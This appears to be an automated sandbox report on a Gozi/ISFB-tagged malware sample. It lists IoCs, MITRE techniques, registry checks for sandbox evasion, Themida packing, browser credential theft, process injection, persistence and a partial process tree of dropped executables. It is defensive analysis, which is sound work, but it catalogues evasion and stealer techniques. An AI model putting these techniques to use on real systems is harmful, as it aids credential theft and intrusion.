gozi_ifsb | 400debff42246bcf28d1eba937480ebdfa755c932707db10ab58ec4a1f5e94f1

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tZUFAcuWvV57H9aqNxXqNxDQ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tZUFAcuWvV57H9aqNxXqNxDQ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bJHtzBAHCq6ClnttxApN1HY9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tqBKKCwXIvcWbynZfNHG4Wqs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tqBKKCwXIvcWbynZfNHG4Wqs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wResEHYfoVZgGhpMKn1wU5Pi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	wResEHYfoVZgGhpMKn1wU5Pi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bJHtzBAHCq6ClnttxApN1HY9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WsJfkrOi1EAysKc0EoWFN7aG.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WsJfkrOi1EAysKc0EoWFN7aG.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	IcuTaUChuYf2gNE4rTzOqCde.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	IcuTaUChuYf2gNE4rTzOqCde.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe

Loads dropped DLL 2 IoCs

pid	Process
3668	GyFI3xNokh1r1MCE2eiaueyn.exe
3668	GyFI3xNokh1r1MCE2eiaueyn.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000400000001ac0c-159.dat	themida
behavioral2/files/0x000400000001ac12-165.dat	themida
behavioral2/files/0x000400000001ac24-195.dat	themida
behavioral2/files/0x000400000001ac22-189.dat	themida
behavioral2/memory/2028-256-0x0000000001300000-0x0000000001301000-memory.dmp	themida
behavioral2/memory/3132-250-0x0000000000E80000-0x0000000000E81000-memory.dmp	themida
behavioral2/memory/1492-244-0x0000000000CE0000-0x0000000000CE1000-memory.dmp	themida
behavioral2/memory/2208-273-0x00000000013D0000-0x00000000013D1000-memory.dmp	themida
behavioral2/files/0x000600000001ac5e-434.dat	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	bJHtzBAHCq6ClnttxApN1HY9.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WsJfkrOi1EAysKc0EoWFN7aG.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IcuTaUChuYf2gNE4rTzOqCde.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wResEHYfoVZgGhpMKn1wU5Pi.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tqBKKCwXIvcWbynZfNHG4Wqs.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tZUFAcuWvV57H9aqNxXqNxDQ.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ipinfo.io
147	ipinfo.io
148	ipinfo.io
175	ip-api.com
237	ipinfo.io
238	ipinfo.io
19	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2208	wResEHYfoVZgGhpMKn1wU5Pi.exe
3132	tZUFAcuWvV57H9aqNxXqNxDQ.exe
1492	tqBKKCwXIvcWbynZfNHG4Wqs.exe
2028	bJHtzBAHCq6ClnttxApN1HY9.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 672 set thread context of 2216	672	PVGlytOgAznMDhGibdLQDSjz.exe	101
PID 1612 set thread context of 1496	1612	WsJfkrOi1EAysKc0EoWFN7aG.exe	94
PID 840 set thread context of 1200	840	IcuTaUChuYf2gNE4rTzOqCde.exe	99

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	k6gSuFahXz25w9rJZDRHiR66.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	k6gSuFahXz25w9rJZDRHiR66.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	k6gSuFahXz25w9rJZDRHiR66.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	k6gSuFahXz25w9rJZDRHiR66.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	FTUEa8fbP_3n9uUhqEmsRWH7.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	FTUEa8fbP_3n9uUhqEmsRWH7.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\System\xxx1.bak	1F1SRoVrnHVkAmapiBa936Xu.exe
File created	C:\Windows\System\svchost.exe	1F1SRoVrnHVkAmapiBa936Xu.exe
File opened for modification	C:\Windows\System\svchost.exe	1F1SRoVrnHVkAmapiBa936Xu.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 9 IoCs

pid	pid_target	Process	procid_target
984	1976	WerFault.exe	82
2508	1612	WerFault.exe	73
3004	2304	WerFault.exe	79
1060	840	WerFault.exe	91
4564	2304	WerFault.exe	79
5032	2304	WerFault.exe	79
1972	2304	WerFault.exe	79
4588	2304	WerFault.exe	79
2004	2304	WerFault.exe	79

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral2/files/0x000400000001ac40-218.dat	nsis_installer_1
behavioral2/files/0x000400000001ac40-218.dat	nsis_installer_2
behavioral2/files/0x000400000001ac40-225.dat	nsis_installer_1
behavioral2/files/0x000400000001ac40-225.dat	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	PVGlytOgAznMDhGibdLQDSjz.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	PVGlytOgAznMDhGibdLQDSjz.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	PVGlytOgAznMDhGibdLQDSjz.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4404	schtasks.exe
4468	schtasks.exe
4308	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3576	timeout.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
4764	taskkill.exe
5180	taskkill.exe
5828	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe
808	KKg19ou1yg4zqxibKYHeQGF3.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2216	PVGlytOgAznMDhGibdLQDSjz.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeAssignPrimaryTokenPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeLockMemoryPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeIncreaseQuotaPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeMachineAccountPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeTcbPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeSecurityPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeTakeOwnershipPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeLoadDriverPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeSystemProfilePrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeSystemtimePrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeProfSingleProcessPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeIncBasePriorityPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeCreatePagefilePrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeCreatePermanentPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeBackupPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeRestorePrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeShutdownPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeDebugPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeAuditPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeSystemEnvironmentPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeChangeNotifyPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeRemoteShutdownPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeUndockPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeSyncAgentPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeEnableDelegationPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeManageVolumePrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeImpersonatePrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeCreateGlobalPrivilege	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: 31	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: 32	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: 33	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: 34	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: 35	2560	DLmMPS6BkuEIxD4VIGi0tAMj.exe
Token: SeDebugPrivilege	2984	AiMawmpl4IjAilevuL1S1GnO.exe
Token: SeDebugPrivilege	728	agdoYA86F0S9EWQxZKqnTCCm.exe
Token: SeRestorePrivilege	3004	WerFault.exe
Token: SeBackupPrivilege	3004	WerFault.exe
Token: SeDebugPrivilege	3004	WerFault.exe
Token: SeDebugPrivilege	2508	WerFault.exe
Token: SeDebugPrivilege	984	WerFault.exe
Token: SeDebugPrivilege	1060	WerFault.exe
Token: SeDebugPrivilege	1972	WerFault.exe
Token: SeDebugPrivilege	2756	s9hbqij6pis9PjpmpJAeNW5n.exe
Token: SeDebugPrivilege	4564	WerFault.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3360 wrote to memory of 808	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	71
PID 3360 wrote to memory of 808	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	71
PID 3360 wrote to memory of 2756	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	72
PID 3360 wrote to memory of 2756	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	72
PID 3360 wrote to memory of 2756	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	72
PID 3360 wrote to memory of 1612	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	73
PID 3360 wrote to memory of 1612	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	73
PID 3360 wrote to memory of 1612	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	73
PID 3360 wrote to memory of 2560	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	77
PID 3360 wrote to memory of 2560	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	77
PID 3360 wrote to memory of 2560	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	77
PID 3360 wrote to memory of 1100	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	76
PID 3360 wrote to memory of 1100	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	76
PID 3360 wrote to memory of 1100	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	76
PID 3360 wrote to memory of 672	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	75
PID 3360 wrote to memory of 672	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	75
PID 3360 wrote to memory of 672	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	75
PID 3360 wrote to memory of 728	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	74
PID 3360 wrote to memory of 728	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	74
PID 3360 wrote to memory of 728	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	74
PID 3360 wrote to memory of 1416	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	80
PID 3360 wrote to memory of 1416	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	80
PID 3360 wrote to memory of 1416	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	80
PID 3360 wrote to memory of 2304	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	79
PID 3360 wrote to memory of 2304	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	79
PID 3360 wrote to memory of 2304	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	79
PID 3360 wrote to memory of 1804	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	78
PID 3360 wrote to memory of 1804	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	78
PID 3360 wrote to memory of 1804	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	78
PID 3360 wrote to memory of 1976	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	82
PID 3360 wrote to memory of 1976	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	82
PID 3360 wrote to memory of 1976	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	82
PID 3360 wrote to memory of 2028	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	81
PID 3360 wrote to memory of 2028	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	81
PID 3360 wrote to memory of 2028	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	81
PID 3360 wrote to memory of 2240	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	83
PID 3360 wrote to memory of 2240	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	83
PID 3360 wrote to memory of 2208	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	84
PID 3360 wrote to memory of 2208	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	84
PID 3360 wrote to memory of 2208	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	84
PID 3360 wrote to memory of 2724	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	87
PID 3360 wrote to memory of 2724	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	87
PID 3360 wrote to memory of 2724	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	87
PID 3360 wrote to memory of 3420	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	86
PID 3360 wrote to memory of 3420	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	86
PID 3360 wrote to memory of 3420	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	86
PID 3360 wrote to memory of 2984	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	85
PID 3360 wrote to memory of 2984	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	85
PID 3360 wrote to memory of 2984	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	85
PID 3360 wrote to memory of 912	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	92
PID 3360 wrote to memory of 912	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	92
PID 3360 wrote to memory of 912	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	92
PID 3360 wrote to memory of 1492	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	90
PID 3360 wrote to memory of 1492	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	90
PID 3360 wrote to memory of 1492	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	90
PID 3360 wrote to memory of 840	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	91
PID 3360 wrote to memory of 840	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	91
PID 3360 wrote to memory of 840	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	91
PID 3360 wrote to memory of 1980	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	89
PID 3360 wrote to memory of 1980	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	89
PID 3360 wrote to memory of 1980	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	89
PID 3360 wrote to memory of 3132	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	88
PID 3360 wrote to memory of 3132	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	88
PID 3360 wrote to memory of 3132	3360	022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe	88

C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
"C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3360
- C:\Users\Admin\Pictures\Adobe Films\KKg19ou1yg4zqxibKYHeQGF3.exe
  "C:\Users\Admin\Pictures\Adobe Films\KKg19ou1yg4zqxibKYHeQGF3.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:808
- C:\Users\Admin\Pictures\Adobe Films\s9hbqij6pis9PjpmpJAeNW5n.exe
  "C:\Users\Admin\Pictures\Adobe Films\s9hbqij6pis9PjpmpJAeNW5n.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Users\Admin\Pictures\Adobe Films\WsJfkrOi1EAysKc0EoWFN7aG.exe
  "C:\Users\Admin\Pictures\Adobe Films\WsJfkrOi1EAysKc0EoWFN7aG.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  PID:1612
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:1496
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1612 -s 560
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:2508
- C:\Users\Admin\Pictures\Adobe Films\agdoYA86F0S9EWQxZKqnTCCm.exe
  "C:\Users\Admin\Pictures\Adobe Films\agdoYA86F0S9EWQxZKqnTCCm.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:728
- C:\Users\Admin\Pictures\Adobe Films\PVGlytOgAznMDhGibdLQDSjz.exe
  "C:\Users\Admin\Pictures\Adobe Films\PVGlytOgAznMDhGibdLQDSjz.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:672
- - C:\Users\Admin\Pictures\Adobe Films\PVGlytOgAznMDhGibdLQDSjz.exe
    "C:\Users\Admin\Pictures\Adobe Films\PVGlytOgAznMDhGibdLQDSjz.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: MapViewOfSection
    PID:2216
- C:\Users\Admin\Pictures\Adobe Films\KfbuzHTJ_OwT2O7qCYSRM7d5.exe
  "C:\Users\Admin\Pictures\Adobe Films\KfbuzHTJ_OwT2O7qCYSRM7d5.exe"
  2⤵
  - Executes dropped EXE
  PID:1100
- C:\Users\Admin\Pictures\Adobe Films\DLmMPS6BkuEIxD4VIGi0tAMj.exe
  "C:\Users\Admin\Pictures\Adobe Films\DLmMPS6BkuEIxD4VIGi0tAMj.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c taskkill /f /im chrome.exe
    3⤵
    PID:5720
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im chrome.exe
      4⤵
      Kills process with taskkill
      PID:5180
- C:\Users\Admin\Pictures\Adobe Films\BtK0T93PjadaNehkNtBUWMrR.exe
  "C:\Users\Admin\Pictures\Adobe Films\BtK0T93PjadaNehkNtBUWMrR.exe"
  2⤵
  PID:1804
- C:\Users\Admin\Pictures\Adobe Films\JNyHcMdPhQxZfLYuWgkXGQb5.exe
  "C:\Users\Admin\Pictures\Adobe Films\JNyHcMdPhQxZfLYuWgkXGQb5.exe"
  2⤵
  - Executes dropped EXE
  PID:2304
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 664
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:3004
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 640
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 644
    3⤵
    - Program crash
    PID:5032
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 680
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:1972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 1128
    3⤵
    - Program crash
    PID:4588
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 1120
    3⤵
    - Program crash
    PID:2004
- C:\Users\Admin\Pictures\Adobe Films\FTUEa8fbP_3n9uUhqEmsRWH7.exe
  "C:\Users\Admin\Pictures\Adobe Films\FTUEa8fbP_3n9uUhqEmsRWH7.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:1416
- - C:\Users\Admin\Documents\rNdVwqZSdRf0HmM0Ed9lyWO4.exe
